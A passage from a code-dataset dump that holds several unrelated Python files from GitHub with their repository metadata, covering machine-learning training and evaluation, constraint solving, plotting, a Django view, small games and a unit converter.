pickle.dump(unprocessed_test, open(TMP_QC_PREFIX + 'unprocessed_test.bin', 'wb'))\n pickle.dump(unprocessed_dev, open(TMP_QC_PREFIX + 'unprocessed_dev.bin', 'wb'))\n del jdata\n\n if verbose:\n print(\"Start extracting question-relation pairs\")\n print(\"get training questions\")\n\n x_training, y_training = _extract_question_relation_pairs(unprocessed_training)\n del unprocessed_training\n pickle.dump(x_training, open(TMP_QC_PREFIX + \"x_training.bin\", 'wb'))\n pickle.dump(y_training, open(TMP_QC_PREFIX + \"y_training.bin\", 'wb'))\n translationData = lstm.get_bag_of_words_translator(x_training, y_training, 80)\n pickle.dump(translationData, open(TMP_QC_PREFIX + \"bow.bin\", 'wb'))\n del x_training\n del y_training\n\n if verbose:\n print(\"generating test question-relation pairs\")\n x_test, y_test = _extract_question_relation_pairs(unprocessed_test)\n del unprocessed_test\n pickle.dump(x_test, open(TMP_QC_PREFIX + \"x_test.bin\", 'wb'))\n pickle.dump(y_test, open(TMP_QC_PREFIX + \"y_test.bin\", 'wb'))\n del x_test\n del y_test\n\n if verbose:\n print(\"generating dev question-relation pairs\")\n x_dev, y_dev = _extract_question_relation_pairs(unprocessed_dev)\n del unprocessed_dev\n pickle.dump(x_dev, open(TMP_QC_PREFIX + \"x_dev.bin\", 'wb'))\n pickle.dump(y_dev, open(TMP_QC_PREFIX + \"y_dev.bin\", 'wb'))\n del x_dev\n del y_dev\n\nclass QuestionClassifier:\n \"\"\"\n Based on LSTM, this classifier can predict a relation a given question refers to.\n \"\"\"\n def __init__(self, model = None):\n # load the translation method, i.e. the function that maps words to vectors.\n # If it is not present, then we need to compute it (together with the datasets)\n if not os.path.isfile(TMP_QC_PREFIX + \"bow.bin\"):\n _build_training_validation_test_sets()\n \n translation_method = pickle.load(open(TMP_QC_PREFIX + \"bow.bin\", 'rb'))\n self._lstm_classifier = LSTMSentenceClassifier(translation_method)\n self.params = self._lstm_classifier.default_lstm_params\n # load a model if present\n if not(model is None):\n mapping = pickle.load(open(TMP_QC_PREFIX + \"labelMapping.bin\", 'rb'))\n self._lstm_classifier.set_label_mapping(mapping)\n self._lstm_classifier.load_model(model)\n \n def train_model(self):\n \"\"\"\n Train the Question Classifier using the datasets in the temp directory.\n \"\"\"\n if not os.path.isfile(TMP_QC_PREFIX + \"x_training.bin\"):\n _build_training_validation_test_sets()\n \n x_train = pickle.load(open(TMP_QC_PREFIX + \"x_training.bin\", 'rb'))\n y_train = pickle.load(open(TMP_QC_PREFIX + \"y_training.bin\", 'rb'))\n \n if not os.path.isfile(TMP_QC_PREFIX + \"labelMapping.bin\"):\n labels = set(y_train)\n mapping = lstm.LabelMapping(labels)\n pickle.dump(mapping, open(TMP_QC_PREFIX + \"labelMapping.bin\", 'wb'))\n \n mapping = pickle.load(open(TMP_QC_PREFIX + \"labelMapping.bin\", 'rb'))\n self._lstm_classifier.set_label_mapping(mapping)\n x_train = self._lstm_classifier.preprocess_input_sentences(x_train)\n y_train = self._lstm_classifier.preprocess_labels(y_train)\n print(\"training started..\")\n self._lstm_classifier.train_LSTM_model(x_train, y_train, self.params)\n self._lstm_classifier.save_model(TMP_QC_PREFIX + \"lstm_model\")\n\n def predict(self, sentence):\n \"\"\"\n Predicts a relation given a sentence.\n\n Parameters:\n -----------\n - `sentence`: the sentence in input to the classifier.\n \n Returns:\n --------\n A string containing the relation.\n \"\"\"\n tok = word_tokenize(sentence)\n X = [tok]\n X = self._lstm_classifier.preprocess_input_sentences(X)\n Y = self._lstm_classifier.predict(X)\n return Y[0]\n\n def test(self, x_test, y_test):\n \"\"\"\n Predicts a relation given a sentence.\n\n Parameters:\n -----------\n - `sentence`: the sentence in input to the classifier.\n \n Returns:\n --------\n A string containing the relation.\n \"\"\"\n X = self._lstm_classifier.preprocess_input_sentences(x_test)\n Y = self._lstm_classifier.predict(X)\n cm = ConfusionMatrix(y_test, Y)\n return cm\n\ndef get_question_classifier():\n \"\"\"\n Get an instance of a Question Classifier.\n\n If there is a trained model already, return that. Otherwise, train a new model.\n\n Returns:\n --------\n An instance of QuestionClassifier. \n \"\"\"\n if os.path.isfile(TMP_QC_PREFIX + \"lstm_model\"):\n q = QuestionClassifier(TMP_QC_PREFIX + \"lstm_model\")\n return q\n else:\n q = QuestionClassifier()\n q.train_model()\n return q\n","repo_name":"dipietrantonio/QuestionAnswerChatbot","sub_path":"source/QuestionClassifier.py","file_name":"QuestionClassifier.py","file_ext":"py","file_size_in_byte":7509,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"6957100500","text":"from __future__ import print_function\nfrom ortools.sat.python import cp_model as cp\nimport math, sys\n# from cp_sat_utils import *\n\ndef main():\n\n\n model = cp.CpModel()\n\n # max number of colors\n # [we know that 4 suffices for normal maps]\n nc = 5\n\n # number of nodes\n n = 11\n # set of nodes\n V = list(range(n))\n\n num_edges = 20\n\n #\n # Neighbours\n #\n # This data correspond to the instance myciel3.col from:\n # http://mat.gsia.cmu.edu/COLOR/instances.html\n #\n # Note: 1-based (adjusted below)\n E = [[1, 2], [1, 4], [1, 7], [1, 9], [2, 3], [2, 6], [2, 8], [3, 5], [3, 7],\n [3, 10], [4, 5], [4, 6], [4, 10], [5, 8], [5, 9], [6, 11], [7, 11],\n [8, 11], [9, 11], [10, 11]]\n\n #\n # declare variables\n #\n\n # x[i,c] = 1 means that node i is assigned color c\n x = {}\n for v in V:\n for j in range(nc):\n x[v, j] = model.NewIntVar(0, 1, 'v[%i,%i]' % (v, j))\n\n # u[c] = 1 means that color c is used, i.e. assigned to some node\n u = [model.NewIntVar(0, 1, 'u[%i]' % i) for i in range(nc)]\n\n # number of colors used, to minimize\n num_colors = model.NewIntVar(0,nc, \"num_colors\")\n model.Add(num_colors == sum(u))\n\n #\n # constraints\n #\n\n # each node must be assigned exactly one color\n for i in V:\n model.Add(sum([x[i, c] for c in range(nc)]) == 1)\n\n # adjacent nodes cannot be assigned the same color\n # (and adjust to 0-based)\n for i in range(num_edges):\n for c in range(nc):\n model.Add(x[E[i][0] - 1, c] + x[E[i][1] - 1, c] <= u[c])\n\n # objective\n model.Minimize(num_colors)\n\n #\n # solution\n #\n solver = cp.CpSolver()\n status = solver.Solve(model)\n\n if status == cp.OPTIMAL:\n print()\n print('number of colors:', solver.Value(num_colors))\n print('colors used:', [solver.Value(u[i]) for i in range(nc)])\n print()\n\n for v in V:\n print('v%i' % v, ' color ', end=' ')\n for c in range(nc):\n if solver.Value(x[v, c]) == 1:\n print(c)\n\n print()\n print('NumConflicts:', solver.NumConflicts())\n print('NumBranches:', solver.NumBranches())\n print('WallTime:', solver.WallTime())\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"hakank/hakank","sub_path":"google_or_tools/coloring_ip_sat.py","file_name":"coloring_ip_sat.py","file_ext":"py","file_size_in_byte":2108,"program_lang":"python","lang":"en","doc_type":"code","stars":339,"dataset":"github-code","pt":"7"} +{"seq_id":"18185184703","text":"import numpy as np\nimport ActivationFunctions\nfrom data import Data\nfrom layers import Layer, InputLayer\nimport matplotlib.pyplot as plt\nimport pickle\n\ndef predprocess(layer):\n\treturn layer.Z/4\n\nclass FeedForwardNeuralNetwork:\n\n\tdef __init__(self, layers = []):\n\t\tself.layers = layers\n\t\tself.ErrorAxis = []\n\t\tself.E = 0\n\n\tdef addLayer(self, layer):\n\t\tself.layers.append(layer)\n\n\tdef removeLayer(index):\n\t\tself.pop(index)\n\n\tdef feedforward(self, input):\n\t\tfor layer in self.layers:\n\t\t\tinput = layer.output(input)\n\t\treturn input\n\n\tdef backpropagate(self,output, desired_output):\n\n\t\t#calculate for the last layer first\n\t\toutput_layer = self.layers[-1]\n\t\toutput_layer.error = output - desired_output\n\n\n\t\tself.E += (output_layer.error**2 / 2).sum()\n\n\t\tderiv = np.multiply(output_layer.A, 1-output_layer.A)\n\n\t\toutput_layer.delta = np.multiply(output_layer.error, deriv)\n\n\t\t#from penultimate layer to second layer\n\t\tfor l in reversed(range(1,len(self.layers)-1)):\n\n\t\t\t\tlayer = self.layers[l]\n\t\t\t\n\t\t\t\tlayer_plus_one = self.layers[l+1]\n\t\t\t\tlayer.error = np.dot(layer_plus_one.weights.T,layer_plus_one.delta)\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tderiv = layer.function(layer, deriv = True)\n\n\t\t\t\tlayer.delta = np.multiply(layer.error, deriv)\n\n\tdef gradientDescent(self):\n\t\t\n\t\tfor l in range(1,len(self.layers)):\n\n\t\t\tlayer = self.layers[l]\n\t\t\tlayer_minus_one = self.layers[l-1]\n\n\t\t\tlayer.pC_pW += np.dot(layer.delta, layer_minus_one.A.T)\n\t\t\tlayer.pC_pB += layer.delta\n\n\t\t\t#layer.weights = layer.weights - self.learning_rate * layer.pC_pW\n\t\t\t#layer.biases = layer.biases - self.learning_rate * layer.pC_pB\n\n\tdef train(self, training_data, batch_size = 32, epochs = 200, learning_rate = 0.5):\n\n\t\titer_num = 0\n\t\tfor i in range(epochs):\n\t\t\t#print(i)\n\n\t\t\ttraining_data.resetToBegining()\n\t\t\tminiBatch = training_data.getNextMiniBatch(batch_size)\n\n\t\t\twhile(miniBatch):\n\n\t\t\t\tfor data in miniBatch:\n\n\t\t\t\t\tinput, desired_output = data\n\t\t\t\t\t#1. FeedForwardNeuralNetwork\n\t\t\t\t\toutput = self.feedforward(input)\n\t\t\t\t\tprint(\"num of iterations\", iter_num)\n\t\t\t\t\titer_num += 1\n\t\t\t\t\t#2. backpropagation\n\t\t\t\t\tself.backpropagate(output, desired_output)\n\t\t\t\t\t#3. gradientDescent\n\t\t\t\t\tself.gradientDescent()\n\n\t\t\t\t#update parametars for each layer\n\t\t\t\t#after every mini batch \n\t\t\t\tfor layer in self.layers:\n\t\t\t\t\tif type(layer) is InputLayer:\n\t\t\t\t\t\tcontinue\n\t\t\t\t\tlayer.updateParametars(batch_size, learning_rate)\n\n\t\t\t\tminiBatch = training_data.getNextMiniBatch(batch_size)\n\t\t\t\tself.ErrorAxis.append(self.E/batch_size)\n\t\t\t\tself.E = 0\n\t\t\t\t\t\n\tdef plotCostFunction(self):\n\t\tplt.plot([x for x in range(len(self.ErrorAxis))], self.ErrorAxis)\n\t\tplt.show()\n\t\t\n\tdef __str__(self):\n\t\tstring = \"\"\n\t\tfirst = True\n\t\tfor layer in self.layers:\n\t\t\tif first:\n\t\t\t\tstring += str(layer.output_size)\n\t\t\t\tfirst = False\n\t\t\telse:\n\t\t\t\tstring += \"->\" + str(layer.output_size)\n\n\t\treturn string\n\n########################################### main #######################################\n\ndef saveToFile(o, file):\n\twith open(file, \"wb\") as output_file:\n\t\tpickle.dump(o, output_file, pickle.HIGHEST_PROTOCOL)\n\ndef loadFromFile(file):\n\twith open(file, \"rb\") as input_file:\n\t\treturn pickle.load(input_file)\n\nnp.random.seed()\n'''\ninput_layer = InputLayer(2, ActivationFunctions.linear, \"L1\")\n\nhidden_layer = Layer(2,2,ActivationFunctions.sigmoid, \"L2\")\nhidden_layer.weights = np.array([\t[0.15, 0.20],\n\t\t\t\t\t\t\t\t\t[0.25, 0.30]])\n\nhidden_layer.biases = np.array([\t[0.35],\n\t\t\t\t\t\t\t\t\t[0.35]])\n\noutput_layer = Layer(2,2,ActivationFunctions.sigmoid, \"L3\")\noutput_layer.weights = np.array([\t[0.40,0.45],\n\t\t\t\t\t\t\t\t\t[0.50,0.55]])\n\noutput_layer.biases = np.array([\t[0.60],\n\t\t\t\t\t\t\t\t\t[0.60]])\n\nnn = FeedForwardNeuralNetwork([input_layer, hidden_layer, output_layer])\nprint(nn)\n#data = Data(\"../Data/test.csv\", 2,2)\ndata = Data(\"../Data/shuffled_data.csv\",100,4)\n#print(data)\n\n\nl1 = InputLayer(100, predprocess, \"L1\")\nl2 = Layer(100,10,ActivationFunctions.sigmoid, \"L2\")\nl3 = Layer(10,5, ActivationFunctions.sigmoid, \"L3\")\nl4 = Layer(5,4, ActivationFunctions.sigmoid, \"L4\")\n\nnn = FeedForwardNeuralNetwork([l1,l2,l3,l4])\n\nnn.train(data, batch_size = 1, epochs = 150, learning_rate = 5)\n\n#saveToFile(nn, \".neuralnetwork.pkl\")\n\nnn = loadFromFile(\".neuralnetwork.pkl\")\n\n#print(nn.ErrorAxis[-1])\n\n#nn.plotCostFunction()\n\ntesting_data = Data(\"../Data/testing_data.csv\", 100, 4)\n\ntotal_tests = 0\ncorrect_tests = 0\nfor data in testing_data.data_set:\n\tinput, desired_output = data\n\ttotal_tests += 1\n\tif np.sum(np.around(nn.feedforward(input)) - desired_output) == 0: \n\t\tcorrect_tests += 1\n\nprint(correct_tests/total_tests * 100, \"% tocnih primjera\")\n\n'''","repo_name":"eugen-vusak/Gamayun","sub_path":"Neural_Networks/neural_network.py","file_name":"neural_network.py","file_ext":"py","file_size_in_byte":4531,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"8333385106","text":"import pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom matplotlib.backends.backend_pdf import PdfPages\nimport numpy as np\n\ndef drawEvents(data, raw_data, pdf, n):\n data_grouped = data.groupby('event')\n raw_data_grouped = raw_data.groupby('event')\n index = 1\n for event_id, event in data_grouped:\n raw_event = raw_data_grouped.get_group(event_id)\n noise = event.loc[event[event.currentTrackPID ==-9999].index,:]\n event = event.drop(event[event.currentTrackPID ==-9999].index)\n raw_event = raw_event.drop(raw_event[raw_event.currentTrackPID == -9999].index)\n if(event.shape[0]<1):\n event = noise\n print('drawing event', event_id)\n fig = plt.figure(figsize=(20, 8))\n\n axs1 = fig.add_subplot(131)\n outterWall = plt.Circle((0, 0), 81, fill=False, alpha=0.2)\n innerWall = plt.Circle((0, 0), 6, fill=False, alpha=0.2)\n axs1.add_artist(outterWall)\n axs1.add_artist(innerWall)\n axs1.set_xlim((-82, 82))\n axs1.set_ylim((-82, 82))\n axs1.set_aspect(1)\n sc1 = axs1.scatter(event['x'], event['y'], marker='o',\n c=event['trackIndex'], cmap=plt.cm.tab20b, alpha=0.7, label=event['trackIndex'])\n plt.colorbar(sc1, fraction=0.05)\n\n problem = event['problem'].iloc[0]\n axs1.text(-70, 70, problem)\n\n plt.title('event ' + str(event_id) + ' cleaned trackId')\n\n axs2 = fig.add_subplot(133)\n\n outterWall = plt.Circle((0, 0), 81, fill=False, alpha=0.2)\n innerWall = plt.Circle((0, 0), 6, fill=False, alpha=0.2)\n axs2.add_artist(outterWall)\n axs2.add_artist(innerWall)\n axs2.set_xlim((-82, 82))\n axs2.set_ylim((-82, 82))\n axs2.set_aspect(1) # xy ratio 1:1\n\n sc2 = axs2.scatter(raw_event['x'], raw_event['y'], marker='o', s=abs(raw_event['rawDriftTime']) / 25,\n c=raw_event['currentTrackPID'], cmap='rainbow', alpha=0.7)\n plt.colorbar(sc2, fraction=0.05)\n\n plt.title('event ' + str(event_id) + ' Particle Id')\n\n axs3 = fig.add_subplot(132)\n\n outterWall = plt.Circle((0, 0), 81, fill=False, alpha=0.2)\n innerWall = plt.Circle((0, 0), 6, fill=False, alpha=0.2)\n axs3.add_artist(outterWall)\n axs3.add_artist(innerWall)\n axs3.set_xlim((-82, 82))\n axs3.set_ylim((-82, 82))\n axs3.set_aspect(1) # xy ratio 1:1\n\n sc3 = axs3.scatter(raw_event['x'], raw_event['y'], marker='o',\n c=raw_event['trackIndex'], cmap=plt.cm.tab20b, alpha=0.7)\n plt.colorbar(sc3, fraction=0.05)\n plt.title('event ' + str(event_id) + ' raw trackId')\n\n\n pdf.savefig()\n if n and index >= n - 1:\n break\n plt.close()\n index += 1\n\nif __name__ == '__main__':\n\n\n input_file = \"E:\\graph_ML\\BESIII\\data\\data_processed\\mdcDigi_1_0_problem_5.csv\"\n\n output = 'display_problem_data_5.pdf'\n raw_data_file = \"E:\\graph_ML\\BESIII\\data\\data_processed\\mdcDigi_1_0_processed.csv\"\n\n print('input file name:', input_file)\n print(\"output file name:\",output)\n rows = 50 * 10000\n data = pd.read_csv(input_file, nrows=rows)\n raw_data = pd.read_csv(raw_data_file, nrows=rows)\n\n\n n=200\n\n with PdfPages(output) as pdf:\n drawEvents(data,raw_data, pdf, n)\n print('Save to pdf file', pdf)","repo_name":"yang-zhibin/mdc-tracks","sub_path":"data/preprocess/display_problem_data.py","file_name":"display_problem_data.py","file_ext":"py","file_size_in_byte":3399,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"15619510981","text":"from functools import partial\nimport cv2\nimport numpy as np\nimport matplotlib\nfrom scripts.train import update_loader_params\nmatplotlib.use('Agg')\nfrom sg2im.data.dataset_params import get_dataset, get_collate_fn\nfrom evaluation.inception import InceptionScore\nfrom sg2im.data import deprocess_batch, imagenet_deprocess\nfrom sg2im.data.utils import decode_image\nfrom sg2im.utils import batch_to\nfrom sg2im.meta_models import MetaGeneratorModel\nfrom torch.utils.data import DataLoader\nimport argparse, os\nimport torch\nfrom types import SimpleNamespace\nimport json\n\n# CHECKPOINTS_PATH = '/specific/netapp5_2/gamir/DER-Roei/qa2im/output/'\nCHECKPOINTS_PATH = '/home/roeiherz/qa2im/output/'\n\n\ndef get_data_loader(opt):\n val_dset = get_dataset(opt.dataset, 'test', opt)\n collate = get_collate_fn(opt)\n loader_kwargs = {'batch_size': opt.batch_size,\n 'num_workers': opt.loader_num_workers,\n 'shuffle': False,\n 'collate_fn': partial(collate, opt.vocab)}\n val_loader = DataLoader(val_dset, **loader_kwargs)\n return val_loader\n\n\ndef check_model_layout(loader, model, inception_score_gt, inception_score_pred, output_dir, deprocess_func):\n inception_score_gt.clean()\n inception_score_pred.clean()\n with torch.no_grad():\n batch_ind = 0\n for batch in loader:\n try:\n print(\"Iteration {}\".format(batch_ind))\n\n batch = batch_to(batch)\n samples = {}\n imgs, objs, boxes, triplets, _, triplet_type, masks, image_ids = batch\n\n samples['gt_img'] = imgs\n samples['gt_box_gt_mask'] = model(objs, triplets, triplet_type, boxes_gt=boxes, masks_gt=masks, test_mode=True)[0]\n samples['pred_box_pred_mask'] = model(objs, triplets, triplet_type, test_mode=True)[0]\n\n # Calc Inception score\n inception_score_gt(samples['gt_box_gt_mask'])\n inception_score_pred(samples['pred_box_pred_mask'])\n # Save images\n draw_datasets(samples, output_dir, deprocess_func, image_ids)\n batch_ind += 1\n\n except Exception as e:\n print(\"Exception in iter {} - {}\".format(batch_ind, e))\n\n inception_mean, inception_std = inception_score_gt.compute_score(splits=5)\n print(' >> GT inception_mean: %.4f' % inception_mean)\n print(' >> GT inception_std: %.4f' % inception_std)\n inception_mean, inception_std = inception_score_pred.compute_score(splits=5)\n print(' >> PRED inception_mean: %.4f' % inception_mean)\n print(' >> PRED inception_std: %.4f' % inception_std)\n\n\ndef draw_datasets(samples, output_dir, deprocess_func, image_ids):\n for k, v in samples.items():\n samples[k] = np.transpose(deprocess_batch(v, deprocess_func=deprocess_func).cpu().numpy(),\n [0, 2, 3, 1])\n for k, v in samples.items():\n # Set the output path\n if k == 'gt_img':\n path = os.path.join(output_dir, \"gt\")\n else:\n path = os.path.join(output_dir, \"generation\", k)\n\n os.makedirs(path, exist_ok=True)\n for i in range(v.shape[0]):\n RGB_img_i = cv2.cvtColor(v[i], cv2.COLOR_BGR2RGB)\n cv2.imwrite(\"{}/{}.jpg\".format(path, image_ids[i]), RGB_img_i)\n\n\ndef main(args):\n if not os.path.isfile(args.checkpoint):\n print('ERROR: Checkpoint file \"%s\" not found' % args.checkpoint)\n print('Maybe you forgot to download pretraind models? Try running:')\n print('bash scripts/download_models.sh')\n return\n\n if not os.path.isdir(args.output_dir):\n print('Output directory \"%s\" does not exist; creating it' % args.output_dir)\n os.makedirs(args.output_dir)\n\n if args.gpu_ids == 'cpu':\n device = torch.device('cpu')\n elif args.gpu_ids == 'gpu':\n device = torch.device('cuda:0')\n if not torch.cuda.is_available():\n print('WARNING: CUDA not available; falling back to CPU')\n device = torch.device('cpu')\n else:\n device = torch.device('cuda:{gpu}'.format(gpu=args.gpu_ids[0]))\n if not torch.cuda.is_available():\n print('WARNING: CUDA not available; falling back to CPU')\n device = torch.device('cpu')\n\n # Load the model, with a bit of care in case there are no GPUs\n map_location = 'cpu' if device == torch.device('cpu') else device\n checkpoint = torch.load(args.checkpoint, map_location=map_location)\n trained_args = json.load(open(os.path.join(os.path.dirname(args.checkpoint), 'run_args.json'), 'rb'))\n set_args(args, trained_args)\n\n # Model\n opt = SimpleNamespace(**trained_args)\n # opt.batch_size = 2\n model = MetaGeneratorModel(opt, device)\n # Load pre-trained weights for generation\n model.load_state_dict(checkpoint['model_state'])\n # Eval\n model.eval()\n # Put on device\n model.to(device)\n\n # Init Inception Score\n inception_score_gt = InceptionScore(device, batch_size=opt.batch_size, resize=True)\n inception_score_pred = InceptionScore(device, batch_size=opt.batch_size, resize=True)\n # Get the data\n data_loader = get_data_loader(opt)\n # data_loader = build_test_dsets(opt)\n update_loader_params(data_loader.dataset, model.sg_to_layout.module.converse_candidates_weights, model.sg_to_layout.module.trans_candidates_weights)\n check_model_layout(data_loader, model, inception_score_gt, inception_score_pred, args.output_dir,\n opt.deprocess_func)\n print(\" >> Dataset generated in {}\".format(args.output_dir))\n\n\ndef set_args(args, trained_args):\n trained_args['gpu_ids'] = args.gpu_ids\n\n # Define img_deprocess\n if trained_args['img_deprocess'] == \"imagenet\":\n trained_args['deprocess_func'] = imagenet_deprocess\n elif trained_args['img_deprocess'] == \"decode_img\":\n trained_args['deprocess_func'] = decode_image\n else:\n print(\"Error: No deprocess function was found. decode_image was chosen\")\n trained_args['deprocess_func'] = decode_image\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--checkpoint', default='{}/coco/jj128_fixcoco_3layers_128emb_5gpu_35batch_refactor_wolf_taotie/itr_140000.pt'.format(CHECKPOINTS_PATH))\n parser.add_argument('--output_dir', default='{}/coco/jj128_fixcoco_3layers_128emb_5gpu_35batch_refactor_wolf_taotie/generation/itr_140000'.format(CHECKPOINTS_PATH))\n parser.add_argument('--dataset', default='coco', choices=['vg', 'clevr', 'coco'])\n parser.add_argument('--gpu_ids', type=str, default='0', help='gpu ids: e.g. 0 0,1,2, 0,2. use -1 for CPU')\n args = parser.parse_args()\n\n # set gpu ids\n str_ids = args.gpu_ids.split(',')\n args.gpu_ids = []\n for str_id in str_ids:\n id = int(str_id)\n if id >= 0:\n args.gpu_ids.append(id)\n if len(args.gpu_ids) > 0:\n torch.cuda.set_device(args.gpu_ids[0])\n\n main(args)\n","repo_name":"roeiherz/CanonicalSg2Im","sub_path":"scripts/generation_attspade.py","file_name":"generation_attspade.py","file_ext":"py","file_size_in_byte":7023,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"7"} +{"seq_id":"523239046","text":"#!/usr/bin/env python\n# encoding=utf-8\n# maintainer: rgaudin\n\nfrom datetime import date\n\nfrom django.http import Http404\n\nfrom bolibana.models import (MonthPeriod, WeekPeriod,\n QuarterPeriod, YearPeriod)\nfrom bolibana.web.decorators import provider_required\n\n\ndef import_path(name):\n \"\"\" import a callable from full module.callable name \"\"\"\n modname, _, attr = name.rpartition('.')\n if not modname:\n # single module name\n return __import__(attr)\n m = __import__(modname, fromlist=[attr])\n return getattr(m, attr)\n\n\n@provider_required\ndef report_chooser(request, report_type, period_type,\n period_str=None, export=False):\n\n if not report_type in ('children', 'maternal', 'commodities'):\n raise Http404(u\"Invalid report type\")\n\n if (not period_type in ('monthly', 'annual', 'quarterly', 'weekly')\n or (report_type == 'commodities' and period_type == 'weekly')):\n raise Http404(u\"Invalid period type\")\n\n # web views and export views are named the same.\n # difference is the _export suffix.\n func_suffix = '_export' if export else ''\n\n try:\n view = import_path('unfpa_web.views.%(report_type)s.'\n '%(period_type)s_%(report_type)s%(suffix)s'\n % {'report_type': report_type,\n 'period_type': period_type,\n 'suffix': func_suffix})\n except:\n raise Http404(u\"Incorrect URL.\")\n\n try:\n if '-' in period_str:\n indice, year = period_str.split('-')\n indice = int(indice)\n year = int(year)\n else:\n indice = None\n year = int(period_str)\n except:\n raise Http404(u\"Incorrect period.\")\n\n if period_type == 'weekly':\n period = WeekPeriod.find_create_by_weeknum(year, indice)\n elif period_type == 'monthly':\n period = MonthPeriod.find_create_from(year, month=indice)\n elif period_type == 'quarterly':\n period = QuarterPeriod.find_create_by_quarter(year, indice)\n elif period_type == 'annual':\n period = YearPeriod.find_create_from(year)\n else:\n # default period is current Month\n period = MonthPeriod.find_create_by_date(date.today())\n\n return view(request, period)\n","repo_name":"yeleman/unfpa2012","sub_path":"unfpa_web/views/reports.py","file_name":"reports.py","file_ext":"py","file_size_in_byte":2327,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"31400369083","text":"n, matrix = int(input()), []\nfor i in range(n):\n matrix.append(list(map(int, input().split())))\n\nis_symmetry = min([matrix[i][j] == matrix[j][i] for i in range(n) for j in range(n)])\n\nif is_symmetry:\n print('YES')\nelse:\n print('NO')\n","repo_name":"Jlexa46/stepikPyAdvanced","sub_path":"Lesson_4/Lesson_4.5/Task_4.5d.py","file_name":"Task_4.5d.py","file_ext":"py","file_size_in_byte":243,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"35285256317","text":"import emojis\nimport pytest\n\nfrom Sapper import Cell, GamePoleLogic, GamePole\n\n\ndef test_symbol_assigment_encode_in_cell():\n g = Cell()\n g.symbol = \":boom:\"\n assert g.symbol == emojis.encode(\":boom:\"), \"Неправильно отработало присваивание символа клетке!\"\n\n\ndef test_symbol_assigment_in_cell():\n g = Cell()\n with pytest.raises(ValueError):\n g.symbol = 1\n\n\n@pytest.mark.parametrize(\"a, b\", [(0, 1),\n (\"string\", 10),\n (10, \"string\"),\n (10, 55)])\ndef test_input_data_in_pole(a, b):\n with pytest.raises(ValueError):\n GamePole(a, b)\n\n\n","repo_name":"BrikozO/MyGames","sub_path":"games/Sapper/test_sapper.py","file_name":"test_sapper.py","file_ext":"py","file_size_in_byte":707,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"10170762702","text":"from PIL import Image\nimport itertools\nimport numpy as np\nfrom datetime import datetime\nimport os\n\n\ndegree = 16\n\nwidth = 3840\nheight = 2160\n\nimg = Image.new('HSV', (width, height), (0, 0, 0))\npixels = img.load()\n\nscale = height / 4\nx_off = width / 2\ny_off = height / 2\n\n\nfor perm in itertools.product((-1, 1), repeat=degree):\n for root in np.roots(perm):\n x = root.real * scale + x_off\n y = root.imag * scale + y_off\n\n if root.imag != 0:\n pixel = pixels[x, height - y - 1]\n pixels[x, height - y - 1] = (pixel[0] + 1, 255, 255)\n\n\nimg = img.convert(\"RGB\")\n\nresolution = str(width) + 'x' + str(height)\ntime = str(datetime.now().strftime('%Y.%m.%d %H.%M.%S'))\nfilename = 'roots' + ' ' + resolution + ' ' + time + '.png'\npath = os.path.join(os.path.dirname(__file__), 'fractal_images', filename)\n\nimg.save(path)\n\nimg.show()\n","repo_name":"SamuelBerman/fractals","sub_path":"Roots Fractal.py","file_name":"Roots Fractal.py","file_ext":"py","file_size_in_byte":865,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"20771638387","text":"# Mile to KM converter\nfrom tkinter import *\n\n\ndef calculate():\n miles = float(user_input.get())\n km = miles * 1.609\n result_label[\"text\"] = f\"{km}\"\n\n\nscreen = Tk()\nscreen.title(\"Miles to Km\")\nscreen.config(padx=20, pady=20)\n\nuser_input = Entry(width=10)\nmile_label = Label(text=\"Miles\")\nis_equal_to_label = Label(text=\"Is equal to\")\nresult_label = Label(text=\"0\")\nkm_label = Label(text=\"Km\")\ncalculate_button = Button(text=\"Calculate\", command=calculate)\n\nuser_input.grid(column=1, row=0)\nmile_label.grid(column=2, row=0)\nis_equal_to_label.grid(column=0, row=1)\nresult_label.grid(column=1, row=1)\nkm_label.grid(column=2, row=1)\ncalculate_button.grid(column=1, row=2)\n\n# All code before exit\nscreen.mainloop()\n","repo_name":"tiiedye/mile-to-km-converter","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":719,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"24853525235","text":"import pandas as pd\nimport requests\n\ncon = 'postgresql://radio:123456@localhost/first'\ndata = pd.read_sql_table('flats', con)\n\ndict_data = data.sample(2).to_dict(orient='records')\n\nBASE = \"http://192.168.0.101:5000/\"\nresponse = requests.post(BASE + \"predict\", json=dict_data)\n\nprint(response.json())\n","repo_name":"ryaboman/Portfolio","sub_path":"Predicting-house-prices/test/test_service.py","file_name":"test_service.py","file_ext":"py","file_size_in_byte":300,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"361804132","text":"from pathlib import Path\nfrom typing import Union\n\nfrom nibabel.affines import apply_affine\nimport numpy as np\nfrom scipy.io import loadmat\n\nimport simnibs\nfrom simnibs.utils.csv_reader import write_csv_positions\nfrom simnibs.utils.file_finder import SubjectFiles\nfrom simnibs.utils.transformations import make_cross_subject_morph\n\nfrom simnibs.mesh_tools.mesh_io import load_subject_surfaces\n\n# EEG MONTAGE\n\nto_m = dict(m=1, cm=1e-2, mm=1e-3)\nfrom_m = {k: 1 / v for k, v in to_m.items()}\n\n\n# SOURCE SPACE\n\n\ndef setup_source_space(\n m2m_dir: Union[Path, str],\n subsampling: Union[None, int] = None,\n morph_to_fsaverage: Union[None, int] = 10,\n):\n \"\"\"Setup a source space for use with FieldTrip.\n\n 